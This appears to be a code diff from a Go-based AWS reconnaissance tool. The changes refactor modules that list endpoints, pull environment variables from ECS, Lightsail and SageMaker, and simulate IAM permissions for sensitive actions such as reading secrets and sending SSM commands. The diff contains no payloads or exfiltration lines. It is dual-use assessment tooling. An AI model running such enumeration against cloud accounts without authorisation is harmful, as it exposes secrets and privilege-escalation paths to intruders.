}
@@ -328,7 +333,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
go m.getELBListenersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("apigateway", r)
res, err = servicemap.IsServiceInRegion("api-gateway", r)
if err != nil {
m.modLog.Error(err)
}
@@ -373,7 +378,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
go m.getAppRunnerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
@@ -447,7 +452,7 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
FunctionDetails, err := sdk.CachedLambdaGetFunctionUrlConfig(m.LambdaClient, aws.ToString(m.Caller.Account), r, name)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -503,7 +508,7 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -576,7 +581,7 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -629,36 +634,27 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
for _, domainName := range DomainNames {
name := aws.ToString(domainName.DomainName)
//TODO: convert this to cacehd function
DomainNameDetails, err := m.OpenSearchClient.DescribeDomain(
context.TODO(),
&(opensearch.DescribeDomainInput{
DomainName: &name,
}),
func(o *opensearch.Options) {
o.Region = r
},
)
DomainStatus, err := sdk.CachedOpenSearchDescribeDomain(m.OpenSearchClient, aws.ToString(m.Caller.Account), r, name)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
raw_endpoint := DomainNameDetails.DomainStatus.Endpoint
rawEndpoint := DomainStatus.Endpoint
var endpoint string
var kibana_endpoint string
var kibanaEndpoint string
// This exits the function if an opensearch domain exists but there is no endpoint
if raw_endpoint == nil {
if rawEndpoint == nil {
return
} else {
endpoint = fmt.Sprintf("https://%s", aws.ToString(raw_endpoint))
kibana_endpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(raw_endpoint))
endpoint = fmt.Sprintf("https://%s", aws.ToString(rawEndpoint))
kibanaEndpoint = fmt.Sprintf("https://%s/_plugin/kibana/", aws.ToString(rawEndpoint))
}
//fmt.Println(endpoint)
@@ -689,7 +685,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
AWSService: "OpenSearch",
Region: r,
Name: name,
Endpoint: kibana_endpoint,
Endpoint: kibanaEndpoint,
Port: 443,
Protocol: "https",
Public: public,
@@ -788,7 +784,7 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -943,7 +939,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -956,7 +952,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1005,7 +1001,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
name := aws.ToString(api.Name)
id := aws.ToString(api.Id)
raw_endpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
rawEndpoint := fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com", id, r)
var port int32 = 443
protocol := "https"
@@ -1021,7 +1017,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1031,11 +1027,10 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, stage := range GetStages.Item {
@@ -1044,7 +1039,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
if len(resource.ResourceMethods) != 0 {
path := aws.ToString(resource.Path)
endpoint := fmt.Sprintf("%s/%s%s", raw_endpoint, stageName, path)
endpoint := fmt.Sprintf("%s/%s%s", rawEndpoint, stageName, path)
endpoints = append(endpoints, Endpoint{
AWSService: awsService,
@@ -1120,7 +1115,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1133,7 +1128,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1185,7 +1180,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
var public string
name := aws.ToString(api.Name)
raw_endpoint := aws.ToString(api.ApiEndpoint)
rawEndpoint := aws.ToString(api.ApiEndpoint)
id := aws.ToString(api.ApiId)
var port int32 = 443
protocol := "https"
@@ -1195,7 +1190,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1213,7 +1208,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1228,9 +1223,9 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
}
var endpoint string
if stage == "" {
endpoint = fmt.Sprintf("%s%s", raw_endpoint, path)
endpoint = fmt.Sprintf("%s%s", rawEndpoint, path)
} else {
endpoint = fmt.Sprintf("%s/%s%s", raw_endpoint, stage, path)
endpoint = fmt.Sprintf("%s/%s%s", rawEndpoint, stage, path)
}
public = "True"
@@ -1267,7 +1262,7 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1320,12 +1315,12 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
awsService := "Redshift"
protocol := "https"
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1453,12 +1448,12 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
m.CommandCounter.Executing++
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var awsService string = "Cloudfront"
var protocol string = "https"
var r string = "Global"
var public string = "True"
var awsService = "Cloudfront"
var protocol = "https"
var r = "Global"
var public = "True"
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
for {
ListDistributions, err := m.CloudfrontClient.ListDistributions(
context.TODO(),
@@ -1468,7 +1463,7 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -1684,8 +1679,8 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
var public string = "True"
var protocol string = "https"
var public = "True"
var protocol = "https"
var port int32 = 443
containerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
+53 -46
View File
@@ -43,6 +43,7 @@ type EnvsModule struct {
Goroutines int
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Service Clients
ECSClient *ecs.Client
@@ -62,6 +63,7 @@ type EnvsModule struct {
type EnvironmentVariable struct {
service string
taskDefinition string
name string
region string
environmentVarName string
@@ -166,13 +168,20 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
//Table rows
for _, envVar := range m.EnvironmentVariables {
var finalName string
if envVar.taskDefinition != "" {
finalName = fmt.Sprintf("%s/%s", envVar.name, envVar.taskDefinition)
} else {
finalName = envVar.name
}
if envVar.interesting {
m.output.Body = append(
m.output.Body, []string{
aws.ToString(m.Caller.Account),
envVar.service,
envVar.region,
envVar.name,
finalName,
magenta(envVar.environmentVarName),
magenta(envVar.environmentVarValue),
},
@@ -183,7 +192,7 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
aws.ToString(m.Caller.Account),
envVar.service,
envVar.region,
envVar.name,
finalName,
envVar.environmentVarName,
envVar.environmentVarValue,
},
@@ -272,8 +281,12 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, _ := servicemap.IsServiceInRegion("ecs", r)
if res {
@@ -297,7 +310,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
wg.Add(1)
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
@@ -307,7 +320,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("sagemaker", r)
res, err = servicemap.IsServiceInRegion("sagemaker-ai", r)
if err != nil {
m.modLog.Error(err)
}
@@ -355,7 +368,7 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
break
}
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
m.getECSEnvironmentVariablesPerDefinition(containerDefinition, region, dataReceiver)
m.getECSEnvironmentVariablesPerDefinition(*DescribeTaskDefinition.TaskDefinition, containerDefinition, region, dataReceiver)
}
}
}
@@ -394,12 +407,13 @@ func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
}
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(taskDefinition ecsTypes.TaskDefinition, containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
if containerDefinition.Environment != nil {
for _, x := range containerDefinition.Environment {
dataReceiver <- EnvironmentVariable{
service: "ECS",
taskDefinition: getNameFromARN(aws.ToString(taskDefinition.TaskDefinitionArn)),
name: aws.ToString(containerDefinition.Name),
region: region,
environmentVarName: aws.ToString(x.Name),
@@ -538,25 +552,22 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
return
}
if err == nil {
if len(ContainerServices) > 0 {
if len(ContainerServices) > 0 {
for _, containerService := range ContainerServices {
for _, container := range containerService.CurrentDeployment.Containers {
for k, v := range container.Environment {
name := aws.ToString(containerService.ContainerServiceName)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
for _, containerService := range ContainerServices {
for _, container := range containerService.CurrentDeployment.Containers {
for k, v := range container.Environment {
name := aws.ToString(containerService.ContainerServiceName)
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
}
}
}
@@ -675,18 +686,16 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Error++
break
}
if err == nil {
if len(DescribeTransformJob.Environment) > 0 {
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
for k, v := range DescribeTransformJob.Environment {
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
if len(DescribeTransformJob.Environment) > 0 {
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
for k, v := range DescribeTransformJob.Environment {
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
@@ -738,20 +747,18 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
m.CommandCounter.Error++
break
}
if err == nil {
if len(DescribeTrainingJob.Environment) > 0 {
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
for k, v := range DescribeTrainingJob.Environment {
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
if len(DescribeTrainingJob.Environment) > 0 {
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
for k, v := range DescribeTrainingJob.Environment {
dataReceiver <- EnvironmentVariable{
service: awsService,
name: name,
region: r,
environmentVarName: k,
environmentVarValue: v,
}
}
}
}
+7 -2
View File
@@ -36,6 +36,7 @@ type FilesystemsModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Filesystems []FilesystemObject
@@ -218,8 +219,12 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("efs", r)
if err != nil {
+1 -1
View File
@@ -331,7 +331,7 @@ func (m *GraphCommand) collectRoleDataForGraph() []models.Role {
TrustedPrincipals = append(TrustedPrincipals, models.TrustedPrincipal{
TrustedPrincipal: principal,
ExternalID: statement.Condition.StringEquals.StsExternalID,
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
VendorName: vendorName,
//IsAdmin: false,
//CanPrivEscToAdmin: false,
+34 -29
View File
@@ -33,8 +33,9 @@ type IamSimulatorModule struct {
WrapTable bool
// Main module data
SimulatorResults []SimulatorResult
CommandCounter internal.CommandCounter
SimulatorResults []SimulatorResult
CommandCounter internal.CommandCounter
IamSimulatorAdminCheckOnly bool
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
@@ -47,26 +48,23 @@ type SimulatorResult struct {
Decision string
}
var (
defaultActionNames = []string{
"sts:AssumeRole",
"iam:PassRole",
"secretsmanager:GetSecretValue",
"ssm:GetParameter",
"s3:ListBucket",
"s3:GetObject",
"ssm:SendCommand",
"ssm:StartSession",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"eks:UpdateClusterConfig",
"lambda:ListFunctions",
"ec2:DescribeInstanceAttributeInput",
"sns:Subscribe",
"sqs:SendMessage",
}
TxtLogger = internal.TxtLogger()
)
var defaultActionNames = []string{
"sts:AssumeRole",
"iam:PassRole",
"secretsmanager:GetSecretValue",
"ssm:GetParameter",
"s3:ListBucket",
"s3:GetObject",
"ssm:SendCommand",
"ssm:StartSession",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"eks:UpdateClusterConfig",
"lambda:ListFunctions",
"ec2:DescribeInstanceAttributeInput",
"sns:Subscribe",
"sqs:SendMessage",
}
func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string, resource string, outputDirectory string, verbosity int) {
@@ -104,6 +102,11 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
go m.Receiver(dataReceiver, receiverDone)
if m.IamSimulatorAdminCheckOnly {
// set defaultActionNames to an empty slice
defaultActionNames = []string{}
}
// This double if/else section is here to handle the cases where --principal or --action (or both) are specified.
if principal != "" {
if action != "" {
@@ -354,7 +357,9 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
if !m.IamSimulatorAdminCheckOnly {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
@@ -394,7 +399,9 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
Decision: "",
}
} else {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
if !m.IamSimulatorAdminCheckOnly {
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
}
}
}
@@ -443,7 +450,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
"iam:PutRolePolicy",
"iam:AttachRolePolicy",
"secretsmanager:GetSecretValue",
"ssm:GetDocument",
"ssm:GetParameters",
}
for {
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
@@ -456,11 +463,9 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
},
)
if err != nil {
//m.modLog.Error(err.Error())
TxtLogger.Println(err.Error())
m.modLog.Error(err)
m.CommandCounter.Error++
//m.modLog.Error(fmt.Sprintf("Failed admin check on %s\n\n", aws.ToString(principal)))
TxtLogger.Printf("Failed admin check on %s\n\n", aws.ToString(principal))
m.modLog.Errorf("Failed admin check on %s", aws.ToString(principal))
return false
}
+15 -5
View File
@@ -4,7 +4,6 @@ import (
"context"
"encoding/base64"
"fmt"
"log"
"os"
"path/filepath"
"strconv"
@@ -36,6 +35,7 @@ type InstancesModule struct {
UserDataAttributesOnly bool
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
InstanceProfileToRolesMap map[string][]iamTypes.Role
SkipAdminCheck bool
pmapperMod PmapperModule
@@ -435,13 +435,21 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
m.modLog.Warn("ServiceMap is nil, creating new instance (this should not happen)")
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
m.modLog.Error(err)
m.modLog.Errorf("Error checking if EC2 is available in region %s: %v", r, err)
m.CommandCounter.Error++
return
}
m.modLog.Debugf("ServiceMap check for EC2 in region %s: result=%v, error=%v", r, res, err)
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
@@ -449,6 +457,8 @@ func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
} else {
m.modLog.Infof("Skipping region %s: EC2 not available or check failed", r)
}
}
@@ -537,7 +547,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
// Describe the IAM instance profile
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
if err != nil {
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
}
for _, role := range profileOutput.Roles {
+17 -21
View File
@@ -90,6 +90,7 @@ type Inventory2Module struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
RegionResourceCount int
@@ -423,8 +424,12 @@ func (m *Inventory2Module) Receiver(receiver chan GlobalResourceCount2, receiver
func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan GlobalResourceCount2) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
@@ -432,7 +437,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
wg.Add(1)
go m.getAppRunnerServicesPerRegion(r, wg, semaphore)
res, err := servicemap.IsServiceInRegion("apigateway", r)
res, err := servicemap.IsServiceInRegion("api-gateway", r)
if err != nil {
m.modLog.Error(err)
}
@@ -594,7 +599,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getEKSNodeGroupsPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("elb", r)
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
if err != nil {
m.modLog.Error(err)
}
@@ -640,7 +645,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.GetEMRInstancesPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("es", r)
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
if err != nil {
m.modLog.Error(err)
}
@@ -677,7 +682,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
}
res, err = servicemap.IsServiceInRegion("kinesis", r)
res, err = servicemap.IsServiceInRegion("streams", r)
if err != nil {
m.modLog.Error(err)
}
@@ -698,7 +703,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getLambdaFunctionsPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
@@ -708,7 +713,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getLightsailInstancesAndContainersPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("mq", r)
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
if err != nil {
m.modLog.Error(err)
}
@@ -738,7 +743,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getRedshiftClustersPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
if err != nil {
m.modLog.Error(err)
}
@@ -768,7 +773,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getSQSQueuesPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("ssm", r)
res, err = servicemap.IsServiceInRegion("systems-manager", r)
if err != nil {
m.modLog.Error(err)
}
@@ -778,7 +783,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
go m.getSSMParametersPerRegion(r, wg, semaphore)
}
res, err = servicemap.IsServiceInRegion("stepfunctions", r)
res, err = servicemap.IsServiceInRegion("step-functions", r)
if err != nil {
m.modLog.Error(err)
}
@@ -791,16 +796,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
}
func (m *Inventory2Module) PrintTotalResources(AWSOutputType string) {
var totalResources int
for _, r := range m.AWSRegions {
if m.totalRegionCounts[r] != 0 {
totalResources = totalResources + m.totalRegionCounts[r]
}
}
for i := range m.GlobalResourceCounts {
totalResources = totalResources + m.GlobalResourceCounts[i].count
}
totalResources := len(m.resources)
fmt.Printf("[%s][%s] %d resources found in the services we looked at. This is NOT the total number of resources in the account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), totalResources)
}
+7 -2
View File
@@ -35,6 +35,7 @@ type LambdasModule struct {
AWSProfile string
